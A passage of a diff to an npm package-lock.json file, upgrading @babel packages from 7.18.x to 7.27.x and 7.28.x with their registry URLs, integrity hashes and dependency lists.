"sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==", - "dev": true, - "requires": { - "@babel/types": "^7.18.6" - } - }, - "@babel/helper-function-name": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.18.9.tgz", - "integrity": "sha512-fJgWlZt7nxGksJS9a0XdSaI4XvpExnNIgRP+rVefWh5U7BL8pPuir6SJUmFKRfjWQ51OtWSzwOxhaH/EBWWc0A==", - "requires": { - "@babel/template": "^7.18.6", - "@babel/types": "^7.18.9" - } - }, - "@babel/helper-hoist-variables": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", - "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", - "requires": { - "@babel/types": "^7.18.6" - } + "@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==" }, "@babel/helper-member-expression-to-functions": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz", - "integrity": "sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz", + "integrity": "sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==", "dev": true, "requires": { - "@babel/types": "^7.18.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-module-imports": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", - "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", "requires": { - "@babel/types": "^7.18.6" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-module-transforms": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.18.9.tgz", - "integrity": "sha512-KYNqY0ICwfv19b31XzvmI/mfcylOzbLtowkw+mfvGPAQ3kfCnMLYbED3YecL5tPd8nAYFQFAd6JHp2LxZk/J1g==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz", + "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==", "requires": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-simple-access": "^7.18.6", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/helper-validator-identifier": "^7.18.6", - "@babel/template": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.27.3" } }, "@babel/helper-optimise-call-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", - "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz", + "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==", "dev": true, "requires": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.27.1" } }, "@babel/helper-plugin-utils": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.18.9.tgz", - "integrity": "sha512-aBXPT3bmtLryXaoJLyYPXPlSD4p1ld9aYeR+sJNOZjJJGiOpb+fKfh3NkcCu7J54nUJwCERPBExCCpyCOHnu/w==" + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==" }, "@babel/helper-remap-async-to-generator": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz", - "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.27.1.tgz", + "integrity": "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-wrap-function": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-wrap-function": "^7.27.1", + "@babel/traverse": "^7.27.1" } }, "@babel/helper-replace-supers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.18.9.tgz", - "integrity": "sha512-dNsWibVI4lNT6HiuOIBr1oyxo40HvIVmbwPUm3XZ7wMh4k2WxrxTqZwSqw/eEmXDS9np0ey5M2bz9tBmO9c+YQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz", + "integrity": "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==", "dev": true, "requires": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-member-expression-to-functions": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" - } - }, - "@babel/helper-simple-access": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", - "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", - "requires": { - "@babel/types": "^7.18.6" + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/traverse": "^7.27.1" } }, "@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz", - "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz", + "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==", "dev": true, "requires": { - "@babel/types": "^7.18.9" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", - "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", - "requires": { - "@babel/types": "^7.18.6" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-string-parser": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", - "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==" + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==" }, "@babel/helper-validator-identifier": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", - "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==" + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==" }, "@babel/helper-validator-option": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", - "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==" + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==" }, "@babel/helper-wrap-function": { - "version": "7.18.11", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.18.11.tgz", - "integrity": "sha512-oBUlbv+rjZLh2Ks9SKi4aL7eKaAXBWleHzU89mP0G6BMUlRxSckk9tSIkgDGydhgFxHuGSlBQZfnaD47oBEB7w==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.27.1.tgz", + "integrity": "sha512-NFJK2sHUvrjo8wAU/nQTWU890/zB2jj0qBcCbZbbf+005cAsv6tMjXz31fBign6M5ov1o0Bllu+9nbqkfsjjJQ==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.18.9", - "@babel/template": "^7.18.10", - "@babel/traverse": "^7.18.11", - "@babel/types": "^7.18.10" + "@babel/template": "^7.27.1", + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helpers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.18.9.tgz", - "integrity": "sha512-Jf5a+rbrLoR4eNdUmnFu8cN5eNJT6qdTdOg5IHIzq87WwyRw9PwguLFOWYgktN/60IP4fgDUawJvs7PjQIzELQ==", - "requires": { - "@babel/template": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" - } - }, - "@babel/highlight": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", - "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "version": "7.27.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz", + "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==", "requires": { - "@babel/helper-validator-identifier": "^7.18.6", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.6" } }, "@babel/parser": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.18.13.tgz", - "integrity": "sha512-dgXcIfMuQ0kgzLB2b9tRZs7TTFFaGM2AbtA4fJgUUYukzGH4jwsS7hzQHEGs67jdehpm22vkgKwvbU+aEflgwg==" - }, - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz", - "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.6" - } - }, - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz", - "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9", - "@babel/plugin-proposal-optional-chaining": "^7.18.9" - } - }, - "@babel/plugin-proposal-async-generator-functions": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.18.10.tgz", - "integrity": "sha512-1mFuY2TOsR1hxbjCo4QL+qlIjV07p4H4EUYw2J/WCqsvFV6V9X9z9YhXbWndc/4fw+hYGlDT7egYxliMp5O6Ew==", - "dev": true, - "requires": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-remap-async-to-generator": "^7.18.9", - "@babel/plugin-syntax-async-generators": "^7.8.4" - } - }, - "@babel/plugin-proposal-class-properties": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", - "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", - "dev": true, - "requires": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - } - }, - "@babel/plugin-proposal-class-static-block": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz", - "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==", - "dev": true, - "requires": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-class-static-block": "^7.14.5" - } - }, - "@babel/plugin-proposal-dynamic-import": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", - "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-dynamic-import": "^7.8.3" - } - }, - "@babel/plugin-proposal-export-namespace-from": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz", - "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==", - "dev": true, + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz", + "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==", "requires": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + "@babel/types": "^7.28.0" } }, - "@babel/plugin-proposal-json-strings": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", - "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-json-strings": "^7.8.3" - } - }, - "@babel/plugin-proposal-logical-assignment-operators": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz", - "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" - } - }, - "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", - "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" - } - }, - "@babel/plugin-proposal-numeric-separator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", - "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.27.1.tgz", + "integrity": "sha512-QPG3C9cCVRQLxAVwmefEmwdTanECuUBMQZ/ym5kiw3XKCGA7qkuQLcjWWHcrD/GKbn/WmJwaezfuuAOcyKlRPA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-numeric-separator": "^7.10.4" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" } }, - "@babel/plugin-proposal-object-rest-spread": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz", - "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.27.1.tgz", + "integrity": "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==", "dev": true, "requires": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.18.8" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", - "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.27.1.tgz", + "integrity": "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-proposal-optional-chaining": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz", - "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.27.1.tgz", + "integrity": "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9", - "@babel/plugin-syntax-optional-chaining": "^7.8.3" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-transform-optional-chaining": "^7.27.1" } }, - "@babel/plugin-proposal-private-methods": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", - "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.27.1.tgz", + "integrity": "sha512-6BpaYGDavZqkI6yT+KSPdpZFfpnd68UKXbcjI9pJ13pvHhPrCKWOOLp+ysvMeA+DxnhuPpgIaRpxRxo5A9t5jw==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" } }, "@babel/plugin-proposal-private-property-in-object": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz", - "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-private-property-in-object": "^7.14.5" - } - }, - "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", - "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", "dev": true, - "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - } + "requires": {} }, "@babel/plugin-syntax-async-generators": { "version": "7.8.4", @@ -19264,40 +16637,22 @@ "@babel/helper-plugin-utils": "^7.12.13" } }, - "@babel/plugin-syntax-class-static-block": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", - "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.14.5" - } - }, - "@babel/plugin-syntax-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", - "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-export-namespace-from": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", - "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "@babel/plugin-syntax-import-assertions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.27.1.tgz", + "integrity": "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-syntax-import-assertions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz", - "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==", + "@babel/plugin-syntax-import-attributes": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz", + "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-syntax-import-meta": { @@ -19319,12 +16674,12 @@ } }, "@babel/plugin-syntax-jsx": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", - "integrity": 